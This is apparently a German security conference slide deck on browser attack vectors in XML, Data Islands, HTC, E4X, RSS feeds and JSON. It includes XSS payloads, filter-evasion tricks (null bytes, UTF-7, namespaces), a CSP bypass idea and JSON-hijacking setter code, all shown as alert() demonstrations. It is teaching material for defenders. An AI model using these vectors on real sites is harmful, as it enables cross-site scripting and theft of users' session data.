XML, JSON

Und weitere Kuriositäten

Mario Heiderich

Überblick

- XML und Webapplikationen
- XML im Internet Explorer
  - Data Islands, HTC
- Probleme
  - Namespaces, Event Handling
  - XUL, Die E4X Katastrophe
- Feeds und Security
- **JSON**

XML und Webapplikationen

- Vorteile
  - Valides Markup
  - Bessere Lesbarkeit für Maschinen
  - Inhalt und Darstellung separiert
- Nachteile
  - Mehr Overhead
  - Komplizierte Validierung (sehr kompliziert!)
  - Neue Möglichkeiten – neue Risiken
  - Probleme beim Browser-Support

XML im Internet Explorer

- Data Islands und HTC
  - Hausgemachtes Binding
  - Alte Implementation – auch im IE8
  - Exploits
- Probleme mit 'echtem' XML
- XSLT ja – reines XML mit CSS - nein
- Auch im aktuellen IE8 noch problematisch

Data Islands im Detail

- Erstmals zu finden im Internet Explorer 5.5
- Proprietär – wird auch lediglich von der IE Engine unterstützt
- Data Islands führen neuen Tag ein
- XML Tag: `<xml>`

- Kommen wir zu einem Beispiel

Data Islands

- Das umgebende HTML

```
<html>
<body>
<xml id="xss" src="island.xml"></xml>
<label dataformatas="html" datasrc="#xss"
datafld="payload"></label>
</body>
</html>
```

- Die Insel

```
<?xml version="1.0"?>
<x>
    <payload>
        <![CDATA[<img src=x onerror=alert(top)>>]]>
    </payload>
</x>
```

Vorteile und Nachteile

- Data Islands folgen der SOP
- Die Inseln müssen “valides” XML sein
- IE only - natürlich
- Dafür ist arbiträres Padding möglich
- Dateieindung muss XML sein – oder xml.123 ...
- Unter Webentwicklern völlig unbekannt

Fast ebenso wie...

- ...HTC
- HTML Components
- Überwiegend genutzt um interne IE Features zu interfacen – opaque PNGs etc.
- Ebeso in XML gehalten
- Aber in einem wunderlichen Dialekt
- Ein kleines Beispiel:

HTC Beispiel

- Das umgebende HTML

```
<html>
<head>
<style>
   body {    behavior: url(x.zip.htc); }
</style>
</head>
<body>
<h1>CLICK ME!</h1>
</body>
</html>
```

- Die HTC Datei

```
<PUBLIC:COMPONENT>
   <PUBLIC:ATTACH EVENT="onclick" ONEVENT="alert(1)" />
</PUBLIC:COMPONENT
```

Vor- und Nachteile

- Auch hier gilt die SOP
- Ebenso kann frei mit Padding gearbeitet werden
- Das bedeutet: Ein valides GIF – und HTC daten im Header verstecken
- Payload kann fast nur im Hex Editor gelesen werden
- Text-Editoren zeigen folgendes an
  - GIF89ad□G□L*□□ □J□J□□□jj□□□□□□qN□□□□□□□□□□□□□□□□(8HXhx□□ □□□□□□iX

XSS

- Hauptproblem ist XSS
- Neue Vektoren
- Veraltete und unvorbereitete Filter
- Beispiele

“Out-line” Namespaces

- <html xmlns:ø="http://www.w3.org/1999/xhtml">

  <ø:script src="//0x.lv/" />

  </html>

In-line Namespaces

- <img:img
  xmlns:img="http://www.w3.org/1999/xhtml"
  src=""
  onerror="alert(this)"
  />


XUL Artefakte

- **<xul:image**

  onerror="alert(document.cookie)"

  src="x"

  xmlns:xul="http://www...is.only.xul"

  />

- http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul

Events from outer space

- Onload – ohne tatsächliches Laden
  -
```
<?xml version="1.0" encoding="UTF-8"?>
<html
xmlns="http://www.w3.org/1999/xhtml"
xmlns:svg="http://www.w3.org/2000/svg"
>
<svg:g onload="alert(8)"/>
</html>
```

Schlussfolgerung

- Zwischen HTML und XHMTL bis zu XML liegen jeweils Welten
- Bewährte Filter und Schutzmassnahmen können oft nicht mehr greifen
- Und mit HTML 5 und breiterer Unterstützung wird das Feld erweitert
  - Mehr CSS3
  - Neue Tags und DOM Objekte
  - Inline SVG
  - etc..

Mehr HTML 5

- Des weiteren kommen neue Event Handler
- Attribute in schließenden Tags – bitte was!?
- Naked Doctypes
- Seemless IFRAMEs
- Kein zwingend erfolderliches `<html><body>` Gerüst
- Workers
- etc.

Was aber mit dem XML...

- ... was uns auf Clients und Servern seit Jahren umgibt?
- Teils ein wahres Monstrum bezüglich Komplexität
  - SVG, Soap, RPC, XXE, DTDs, XSLT etc etc.
- Feeds
  - RSS, ATOM, OPML

Feeds

- Verwundbare Feed Reader
  - Sage,
  - Google Reader,
  - Feedly
  - Brief
- Verwundbare Feed Parser
  - PEAR XML_RSS, SimplePie etc.
  - Selten sauberes HTML by default
- Vergiftete Feeds einfach erstellt
  - Blogspot.com, selber bauen, Rogue Employees..

Vergiftetes OPML

- “Aggregate the aggregations”
- Wird von vielen Plattformen verstanden
  - Google Reader
  - Netvibes
  - etc..
- Generiert wiederum erhöhten Aufwand der Validierung
    - Metadaten
    - URLs
    - Struktur

Mögliche Konsequenzen

- Was kann im “schlimmsten Fall” mittels eines vergifteten Feeds passieren?

Einiges!

- Exploit mass distribution
- Angriffe auf die Feed-Generatoren
- Angriffe auf lokale Feedreader
- Splogger Ownage
- Local file access über Chrome Exploits

Kleine Unterbrechung

- Thema Nullbytes
- %00 – ASCII Tabellen Index 0
- Trotz erheblichen Alters immer noch ein Problem
- Gerade für Browser und Webapplikationen

Nullbytes und PHP

- Nullbytes und PHP – keine guten Freunde
- Objekte und Lambdas nutzen Nullbytes im serialisierten Zustand
- Nullbytes und Include-Funkionen nicht selten Einfalltore
- Nullbytes und `eregi()` bringt Probleme
- Weitere Vektoren

Nullbytes in Opera und IE

- IE ignoriert Nullbytes
- Daher funktionieren Vektoren wie dieser:
  - `<\0im\0g src=x onerror=alert(1)//`
- Opera zeigte wunderliches Verhalten mit Nullbytes in späten 9.6er Versionen
- Probleme mit Nullbytes und Caching
- Auch Chrome hatte an einigen Stellen Probleme mit Nullbytes

Zurück zum Thema XML

- Konkret ECMA 357 oder E4X
- Wer kennt's?

E4X

- Derzeit implementiert in Gecko Browsern
- Erste Versionen in Firefox 1.5
- Chrome und Webkit werden nachziehen
- Branches existieren bereits

E4X = XML in JavaScript

- XML - ohne Nutzung von Strings
- Neues XML Objekt
- Beispielcode:
  - `var a = <b>foo</b>;`
- Spezifiziert in ECMA 357
- Praktisch für FF Extensions
- Fast keinerlei Nutzung auf Webseiten

Was funktioniert

- Charsets wie UTF7 nutzen
- XML Processing Instructions umgehen
  - `<?xml foo=”bar” ?>`
- Große Mengen XML, Namespaces, Padding, Kommentare
  - `default xml namespace = 'foo'`
- XPath Traversal für XML Objekte
  - `a=<b><c>foo</c></b>`
  - `a..c`

Was *nicht* funktioniert

- Invalides Markup
- DOCTYPES

Ergo

- E4X kann situativ sehr gefährlich sein
- Wenn DOCTYPEs geparst werden könnten wären die Folgen katastrophal
- Warum?
- Weil!
  - `<script src="http://secret.com/"></script>`

Was kann passieren?

- Information leakage
- XSS
- Seiten ohne Lücken können angegriffen werden
- Komplett neue Angriffs-Technik
- Komplett neue Anforderungen für Filter

- Beispiel für einen Angriff

Beispiel

- UTF-7, RegExp und E4X
  - `+ADw-/html+AD4-.toXMLString().match(/.*/m),`

    `alert(RegExp.input)`
- Nur eine von vielen Lösungen
- Variierende Vektoren je nach Injection Point

Das Leerzeichen

- Derzeit kommt man nicht um den Doctype herum
- Auch nicht um den naked Doctype
- Wie z.B. Von Google verwendet
- `<!DOCTYPE HTML>`
- Problem ist das Leezeichen zwischen DOCTYPE und HTML

Wie es doch gehen könnte

- Injection innerhalb der Processing Instruction
- Injection vor dem Doctype
- Warten auf... JavaScript 2.0
- Möglicherweise Operator Overloading
- Parserfehler

Mehr E4X

- Mögliche CSP Circumvention
- Content Security Policy – W3C, Mozilla
  - z.B. Nur JavaScript von der selben Domain
  - Kein inline JavaScript, keine Event-Handler
  - Kein Eval
- `<script src=”good.js”></script>`
- Möglich zu umgehen?

Wieder einmal

- Das Script included sich selbst aus dem Cache
  - `<script src="#"></script>,alert(1)`
- Klappt teils auch ohne E4X Support
  - `-->/*<html>...<script src="x"></script>*/alert(1)//`

Zusammenfassung

- XML birgt Gefahren die Webentwicklern nicht immer bekannt sind
- HTML5 kann bei unsauberer Implementation für Probleme sorgen
- Viele Browser tragen noch alten Legacy Code mit sich
- Impact von Angriffen auf Feeds wird oft unterschätzt
- E4X kann zu einer CSRF Zeitbombe werden

Zum Thema JSON

- Das cross-layer Transferformat für Hipster
- Mitterweile sehr hohe Penetration
- Schlank, leicht zu verstehen, billig
  - `1`
  - `'a string'`
  - `['an array']`
  - `{'I can haz':'object – or hash or whatever..'}`

JSON Nesting

- Schlank
- Angenehm zu lesen
  - `{'foo': ['bar', 'foobar', {'foo': true}]}`
  -
```
{ 'foo' : [
        'bar',
        'foobar',
        {'foo' : true}
        ]};
```

JSON kann...

- ...leicht gebrochen werden -] oder } oder Kombinationen daraus
- JSON kann leicht “scharf gemacht”..
- Und ebenso leicht gehijackt werden
- Ideen wie?

Beispiele

- “Aktives” JSON
  - `[{'foo':[1,2,alert(1)]}]`
  - `[{'foo':[1,2,(function(){alert(2)})()]}]`
  - `[{'foo':[1,2,0]}],alert(3)//]}]`
- Ausführung vor Zuweisung

JSON Hijacking

- Bösartige Seite enthält Script Tag – mit `src` Attribut auf das Angriffsziel
- User ist eingeloggt
- Das Script vor oder nach der Einbindung kann Daten lesen
  - AJAX Responses mit Anti-CSRF Tokens oder ähnlichem
  - Sensible Daten

Get und set nutzen

- Veraltete aber unterstützte Getter und Setter für Objekt-Eigenschaften
- ```
  o = {
    a:7,
    get b() { alert(1) },
    set c(x) { alert(x) }
  };
  ```
- ```
  o.b
  ```

__define Methoden

- Wie `__defineGetter__()`
- Oder `__defineSetter__()`
- Beispiele
  - `o.__defineGetter__("b", function() { return alert(1) });`
  - `o.__defineSetter__("c", function(x) { alert(x) });`

Verschiedene Wege

- Zuweisung existiert
  - Ziel: `a=[1,2]`
  - Angriff:

```
window.__defineSetter__('a',function(
){alert(arguments[0])});
```

- Keine direkte Zuweisung
  - Ziel: `[{'foo':[1,2,3]}]`
  - Angriff:

```
Object.prototype.__defineSetter__('foo',
function(){alert(arguments[0])});
```

watch() und unwatch()

- JavaScript kennt rudimentäres AOP
- Seit JavaScript 1.5 stehen watch() und unwatch() zur Verfügung
- Möglichkeit Variablen zu überwachen
- Unabhängig von den Settern
- `Object.watch('a', function(b,c,d){alert(b)})`
- IE kennt onpropertychange

Ein wenig Freak-Action

- **drumroll**
- Sich selbst hijackendes JSON :-)
  - `[{'a':Object.prototype.__defineSetter__(/foo/[-1],function(){alert(arguments[0])}),'foo':[1,2,3,'foo']}]`
- Funktioniert auch mit UTF-7 – um gefilterte Charaktere zu umgehen

Und noch ein Leckerli

- Code ausführen ohne Klammern
- Einerseits mit der Getter/Setter Syntax
- Andererseits auch mit JSON
  - `''+{toString:alert}`
  - `{x:onunload=alert}`

Zusammenfassung

- JSON ist ein durchaus praktisches Format
- Im Kontext Websecurity aber oft missverstanden
- Leicht zu brechen
- Und ebenso leicht zu hijacken und “korrumpieren”
- Verschiedene Features der Browser arbeiten gegeneinander

Fragen?

Vielen Dank!